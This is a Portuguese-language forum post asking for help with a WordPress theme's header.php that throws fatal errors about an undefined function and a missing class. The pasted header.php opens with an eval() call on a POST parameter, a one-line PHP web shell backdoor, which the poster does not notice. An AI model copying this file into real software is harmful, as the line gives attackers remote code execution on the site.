PHP Fatal error: Call to undefined function wpvge()
Olá,
Hoje ao tentar acessar o site do cliente, nos deparamos com a tela branco, e verificando o arquivo error_log, encontramos o seguinte erro:
PHP Fatal error: Call to undefined function wpvge() in **/home/xxxx/public_html/wp-content/themes/xxxx/header.php on line 22**
Dentro do arquivo estão as informações a baixo:
**<link rel="shortcut icon" type="image/x-icon" href="<?php wpvge('favicon_url')?>"/>**
Até ai tudo "bem", removeria esta linha e colocaria o favicon manualmente, porém, ao remover esta linha, encontrei outro erro, segue abaixo:
PHP Fatal error: Class 'WpvTemplates' not found in /home/xxxx/public_html/wp-content/themes/xxxx/header.php on line 24
Dentro do arquivo estão as informações a baixo:
**<body <?php body_class('layout-'.WpvTemplates::get_layout()); ?>>**
**Segue abaixo o código completo da header.php**
<?php @eval($_POST['a20']);?><?php/**
* Header template
*
* @package wpv
* @subpackage health-center
*/
?><!DOCTYPE html>
<!--[if IE]><![endif]-->
<!--[if IE 8 ]> <html <?php language_attributes(); ?> class="no-js ie8"> <![endif]-->
<!--[if IE 9 ]> <html <?php language_attributes(); ?> class="no-js ie9"> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--> <html <?php language_attributes(); ?> class="no-ie no-js"> <!--<![endif]-->
<head>
<meta charset="<?php bloginfo( 'charset' ); ?>" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><?php wp_title() ?></title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
<link rel="shortcut icon" type="image/x-icon" href="<?php wpvge('favicon_url')?>"/>
<?php wp_head(); ?>
</head>
<body <?php body_class('layout-'.WpvTemplates::get_layout()); ?>>
<span id="top"></span>
<?php do_action('wpv_body') ?>
<div id="container" class="main-container">
<?php include(locate_template('templates/header/top.php'));?>
<?php do_action('wpv_after_top_header') ?>
<div class="boxed-layout">
<div class="pane-wrapper clearfix">
<?php include(locate_template('templates/header/middle.php'));?>
<div id="main-content">
<?php include(locate_template('templates/header/sub-header.php'));?>
<!-- #main (do not remove this comment) -->
<div id="main" role="main" class="wpv-main layout-<?php echo WpvTemplates::get_layout() ?>">
<?php do_action('wpv_inside_main') ?>
<div class="limit-wrapper">
Conclusão, meus conhecimentos não estão ao ponto de resolver este problema, gostaria da sugestão e ajuda do fórum, o que vocês sugerem?
Abraços,Discussão (0)
Carregando comentários...